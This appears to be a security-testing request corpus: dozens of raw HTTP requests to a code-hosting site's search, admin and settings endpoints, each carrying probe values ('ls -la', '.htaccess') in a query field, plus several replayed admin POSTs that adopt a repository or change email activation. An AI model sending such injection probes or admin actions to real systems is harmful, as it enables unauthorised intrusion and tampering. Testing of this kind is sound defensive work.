{"method": "GET", "target": "/alice/tools/settings/actions/runners?q=ls%20-la", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/settings/actions/runners", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/admin/users?q=ls%20-la", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/admin/users", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/admin/orgs?q=ls%20-la", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/admin/orgs", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/admin/repos?q=ls%20-la&sort=recentupdate", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/admin/repos", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/admin/repos/unadopted?search=true&q=ls%20-la", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/admin/repos/unadopted", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/admin/emails?q=ls%20-la", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/admin/emails", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/admin/packages?q=ls%20-la&type=", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/admin/packages", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
|
|
||||||
{"method": "POST", "target": "/admin/repos/unadopted", "headers": ["Host: example.com", "Connection: keep-alive", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Content-Length: 53", "Origin: http://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/admin/repos/unadopted?search=true&q=ls%20-la", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": "id=alice%2Flegacy-site&action=adopt&q=ls%20-la&page=1"}
|
|
||||||
{"method": "POST", "target": "/admin/emails/activate", "headers": ["Host: example.com", "Connection: keep-alive", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Content-Length: 98", "Origin: http://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/admin/emails?q=ls%20-la", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": "sort=email&q=ls%20-la&is_primary=&is_activated=&uid=2&email=bob%40example.com&primary=1&activate=0"}
|
|
||||||
{"method": "GET", "target": "/explore/topics/search?q=.htaccess", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: */*", "Referer: http://example.com/alice/tools", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/pulls?type=created_by&sort=recentupdate&project=ZgotmplZ&state=open&q=.htaccess", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/pulls", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/milestones?type=&repos=%5B2%2C1%2C%5D&sort=&state=open&q=.htaccess", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/milestones", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/issues/search?q=.htaccess", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: */*", "Referer: http://example.com/issues", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/repo/search?sort=updated&order=desc&uid=1&team_id=undefined&q=.htaccess&page=1&limit=15&mode=&archived=false", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: */*", "Referer: http://example.com/", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/user/search_candidates?q=.htaccess", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: */*", "Referer: http://example.com/alice/tools/settings/collaboration", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/notifications/watching?q=.htaccess&sort=recentupdate", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/notifications/watching", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/org/acme/issues?type=your_repositories&sort=recentupdate&project=ZgotmplZ&state=open&q=.htaccess", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/org/acme/issues", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/org/acme/pulls?type=your_repositories&sort=recentupdate&project=ZgotmplZ&state=open&q=.htaccess", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/org/acme/pulls", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/org/acme/milestones?type=&repos=%5B2%2C%5D&sort=&state=open&q=.htaccess", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/org/acme/milestones", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/org/acme/issues/developers?type=your_repositories&sort=recentupdate&project=ZgotmplZ&state=open&q=.htaccess", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/org/acme/issues/developers", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/org/acme/pulls/developers?type=your_repositories&sort=recentupdate&project=ZgotmplZ&state=open&q=.htaccess", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/org/acme/pulls/developers", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/org/acme/milestones/developers?type=&repos=%5B%5D&sort=&state=open&q=.htaccess", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/org/acme/milestones/developers", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/org/acme/teams/-/search?q=.htaccess", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: */*", "Referer: http://example.com/org/acme/teams", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/-/code?path=&q=.htaccess&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/-/code", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/-/projects?state=open&q=.htaccess", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/-/projects", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/-/packages/generic/tools-cli/versions?q=.htaccess&sort=created_desc", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/-/packages/generic/tools-cli/versions", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/-/packages/npm/@alice%2Ftools-cli/versions?q=.htaccess&sort=created_desc", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/-/packages/npm/@alice%2Ftools-cli/versions", "Accept-Encoding: gzip, deflate", "Cookie: session=e75e81138febd1bb; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/tags?q=.htaccess", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/tags", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/milestones?state=open&q=.htaccess", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/milestones", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/milestone/1?q=.htaccess", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/milestone/1", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/projects?state=open&q=.htaccess", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/projects", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/packages?q=.htaccess&type=", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/packages", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/issues/posters?q=.htaccess", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: */*", "Referer: http://example.com/alice/tools/issues", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/pulls/posters?q=.htaccess", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: */*", "Referer: http://example.com/alice/tools/pulls", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/issues/search?q=.htaccess", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: */*", "Referer: http://example.com/alice/tools/issues/1", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/issues/suggestions?q=.htaccess", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: */*", "Referer: http://example.com/alice/tools/issues/1", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/admin/actions/runners?q=.htaccess", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/admin/actions/runners", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/user/settings/actions/runners?q=.htaccess", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/user/settings/actions/runners", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/org/acme/settings/actions/runners?q=.htaccess", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/org/acme/settings/actions/runners", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/settings/actions/runners?q=.htaccess", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/settings/actions/runners", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/admin/users?q=.htaccess", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/admin/users", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/admin/orgs?q=.htaccess", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/admin/orgs", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/admin/repos?q=.htaccess&sort=recentupdate", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/admin/repos", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/admin/repos/unadopted?search=true&q=.htaccess", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/admin/repos/unadopted", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/admin/emails?q=.htaccess", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/admin/emails", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/admin/packages?q=.htaccess&type=", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/admin/packages", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
|
|
||||||
{"method": "POST", "target": "/admin/repos/unadopted", "headers": ["Host: example.com", "Connection: keep-alive", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Content-Length: 54", "Origin: http://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/admin/repos/unadopted?search=true&q=.htaccess", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": "id=alice%2Flegacy-site&action=adopt&q=.htaccess&page=1"}
|
|
||||||
{"method": "POST", "target": "/admin/emails/activate", "headers": ["Host: example.com", "Connection: keep-alive", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Content-Length: 99", "Origin: http://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/admin/emails?q=.htaccess", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": "sort=email&q=.htaccess&is_primary=&is_activated=&uid=2&email=bob%40example.com&primary=1&activate=0"}
|
|
||||||
